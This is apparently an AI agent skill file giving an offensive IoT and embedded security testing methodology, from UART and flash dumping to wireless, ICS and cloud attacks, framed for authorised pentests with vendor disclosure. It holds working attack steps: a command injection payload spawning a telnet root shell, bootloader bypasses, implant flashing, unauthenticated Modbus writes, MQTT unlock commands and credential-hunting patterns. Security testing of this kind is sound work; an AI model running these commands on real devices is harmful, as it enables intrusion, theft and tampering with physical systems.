offensive-iot · git:20260913.e13b6b8 · 2026-09-13 · sha256 294569f39ee1d172
offensive-iot git:20260913.e13b6b8A
Immutable. This exact content is served forever at /api/v1/blob/294569f39ee1d172.
---
name: offensive-iot
description: "IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel/glitching basics. Use for IoT pentest, smart-home assessment, ICS/OT testing, or embedded vulnerability research."
category: security
triggers:
- "iot"
- "offensive iot"
- "iot"
- "iot attack"
- "iot exploitation"
- "iot methodology"
tools:
- file_read
- file_glob
- file_grep
- file_write
- file_edit
- dir_list
- shell_execute
- web_fetch
- web_search
- delegate
---
# IoT & Embedded — Offensive Testing Methodology
## Quick Workflow
1. **Recon the device physically** — identify SoC, flash, debug interfaces, radios
2. **Get the firmware** — vendor download, OTA capture, hardware dump, or chip-off
3. **Unpack and analyze** — filesystems, services, secrets, default creds, vuln components
4. **Establish runtime access** — UART shell, telnet/SSH default creds, exploit chain
5. **Pivot** — to companion app, cloud API, neighboring devices via mesh / wireless
---
## Hardware Reconnaissance
### PCB Inspection
- ID the **SoC** by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
- ID **flash** (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
- Find **debug headers**: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
- Find test points labeled `TX`, `RX`, `TCK`, `TMS`, `TDO`, `TDI`, `RST`, `BOOT`
### Tools
| Tool | Use |
|------|-----|
| Multimeter | Identify GND, VCC rails before connecting |
| Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols |
| USB-UART (FT232, CP2102) | UART console |
| Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic |
| J-Link / Black Magic Probe | JTAG / SWD MCU debugging |
| CH341A programmer | Cheap SPI flash dumper |
| XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) |
| ChipQuik / hot-air | Chip-off desolder |
### UART Discovery
```bash
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "=== $b ==="
timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
```
Look for: U-Boot console (often `Hit any key` countdown), Linux init messages, root shell on console, login prompt.
### Bootloader Console Drop
```
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no login
```
If U-Boot is locked, try:
- `CONFIG_DELAY_AUTOBOOT_KEYED` keyword (vendor-specific)
- `Ctrl+C` / `Ctrl+B` / specific magic strings
- Glitch the U-Boot version-check / signature-check (see Fault Injection)
---
## Flash Dumping
### SPI NOR (most common consumer IoT)
```bash
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin
# Verify
file firmware.bin && binwalk firmware.bin
```
If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.
### eMMC / NAND
eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.
NAND requires bit-flipping and ECC handling — `nanddump`/`yaffshiv`/`ubireader` post-extraction.
### OTA Capture
Many devices fetch firmware over HTTP(S). MITM the device:
```bash
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS
```
Capture the URL, download directly, dissect.
---
## Firmware Analysis
### Initial Triage
```bash
binwalk -Me firmware.bin # Extract recursively
binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
```
### Filesystem Mounting
```bash
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin
# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
```
### Embedded-Linux Quick Wins
```bash
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"
# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/
# Setuid binaries
find rootfs -perm -4000 -type f
# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "
# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
```
### CGI / Web Admin Auditing
GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.
```bash
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
```
Common patterns:
- `system()` / `popen()` with concatenated query string args
- `sprintf` then `system` — easy command injection
- Auth check via comparing cookie to plaintext file (race / replay)
---
## Runtime Exploitation
### Console / Telnet Default Creds
Try (per device class): `admin/admin`, `root/root`, `root/<empty>`, `admin/password`, `support/support`, `cisco/cisco`, vendor brand as user/pass. **Always try `root/<serial number>`** — many vendors use a per-device default.
### Web Admin Command Injection
```http
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
```
### MTD Writes (re-flash from runtime)
If you have a root shell:
```bash
cat /proc/mtd # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
```
### /dev/mem
On older kernels without `CONFIG_STRICT_DEVMEM`, `/dev/mem` is read/write to physical memory — full system compromise from any root context.
---
## Bootloader / Secure Boot Attacks
### U-Boot Quick Bypasses
- `setenv bootargs ${bootargs} init=/bin/sh`
- `setenv preboot 'echo 1 > /sys/...'` (run command before kernel)
- `tftpboot` — load attacker kernel from network
- `bootm` of a memory-resident image you `loadb`-uploaded over UART
### Secure Boot
Modern devices verify signed bootloaders / kernels. Bypass paths:
- **Downgrade**: flash an older signed image with known kernel-level CVE
- **Rollback bypass**: anti-rollback fuses not blown → flash older signed
- **Key extraction**: dump the OTP / fuse contents via vendor tooling, recover signing key
- **Fault injection**: glitch the signature-check instruction (see below)
### Fault Injection (Voltage / Clock Glitching)
```
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned image
```
---
## RTOS Targets
| RTOS | Notes |
|------|-------|
| FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control |
| Zephyr | MMU/MPU optional; verify isolation actually enabled |
| ThreadX | Microsoft now, mostly closed |
| MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges |
| ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 |
| QNX | Older versions: pdebug shell on serial = root |
### MCU Reverse Engineering
```bash
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
```
---
## Wireless Protocols
### Bluetooth Low Energy (BLE)
```bash
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"
# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
```
Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.
### Zigbee / Thread / Matter
```bash
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap
# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0
```
Touchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio.
### Z-Wave
S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with `Z-Force` / `EZ-Wave`.
### LoRaWAN
- ABP-provisioned devices: keys flashed once and never rotated
- Join-request replay if frame counters reset
- `LoRaPWN`, `ChirpStack` for analysis
### Sub-GHz (433 / 868 / 915 MHz)
```bash
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A # auto-decoder for many devices
gqrx # interactive
# Capture, analyze in Inspectrum, replay with hackrf_transfer
```
Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.
---
## ICS / OT Protocols
### Modbus
```python
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1) # No auth in the protocol
```
### BACnet (Building Automation)
```bash
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
```
### OPC-UA
Modern OPC-UA has security profiles; many deployments use `None` for compatibility. Test:
- Anonymous browsing of address space (information disclosure)
- Username/password endpoints with weak creds
- Cert-based but with self-signed accepted
### S7 (Siemens)
Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.
---
## MQTT / CoAP
### MQTT Anonymous Subscribe
```bash
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
```
Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe `#`, replay device commands.
### CoAP
```bash
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
```
DTLS often misconfigured (PSK in firmware, no rotation).
---
## Companion Mobile App / Cloud API
Most IoT vulns today live in the **cloud + companion app pair**, not the device itself.
```bash
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk
# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/
# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app
```
Test the cloud API for:
- Device claim by serial number alone (steal devices already shipped)
- IDOR on `/devices/<id>` endpoints
- Live-stream URLs without auth (RTSP / WebRTC tokens)
- Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)
---
## Pivoting Across Devices
- Compromise one device on the LAN → ARP/DHCP poison neighbors
- Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control
- BLE central role swap → talk directly to peripherals as the legitimate hub
- Cloud account compromise → all devices linked to the account simultaneously
---
## Reporting Hooks
For each finding capture:
- **Affected scope**: model, firmware version, region, serial-number range if known
- **Reproducer**: physical or remote, time-to-exploit
- **Pre-conditions**: physical access? same network? authenticated cloud account?
- **Post-conditions**: persistent? cross-device? cloud-side?
- **Vendor disclosure path**: PSIRT contact, ICS-CERT, MITRE for CVE assignment
---
## Engagement Checklist
```
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
```
---
## Key References
- MITRE ATT&CK for ICS — TA0108 (Initial Access), TA0104 (Execution)
- OWASP ISVS / IoT Top 10
- Embedded Security CTF (microcorruption.com) — practice MCU exploitation
- IoT Hackers Handbook (Aditya Gupta) — canonical methodology
- CISA ICS-CERT advisory feed
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md
---
## Attribution
Ported from [SnailSploit/Claude-Red](https://github.com/SnailSploit/Claude-Red)
(`Skills/*/offensive-iot`), Apache-2.0 licensed. Methodology preserved; Claude-specific
mechanics rewritten for OSA's builtin tools.
Part of the offensive skill library — see also `penetration-testing` for the
full-engagement workflow and `offensive-osint` / `osint-methodology` for
reconnaissance methodology.
## Tool status note
External CLI tools referenced above are classified at authoring time as `[LOCAL]`
(verified present), `[INSTALL]` (one-command install), or `[UPSTREAM-REF]`
(needs API keys or interactive use — methodology reference only). If you invoke a
tool and it is absent, check for an `[INSTALL]` note or fall back to the OSA
builtin tools; never fabricate tool output.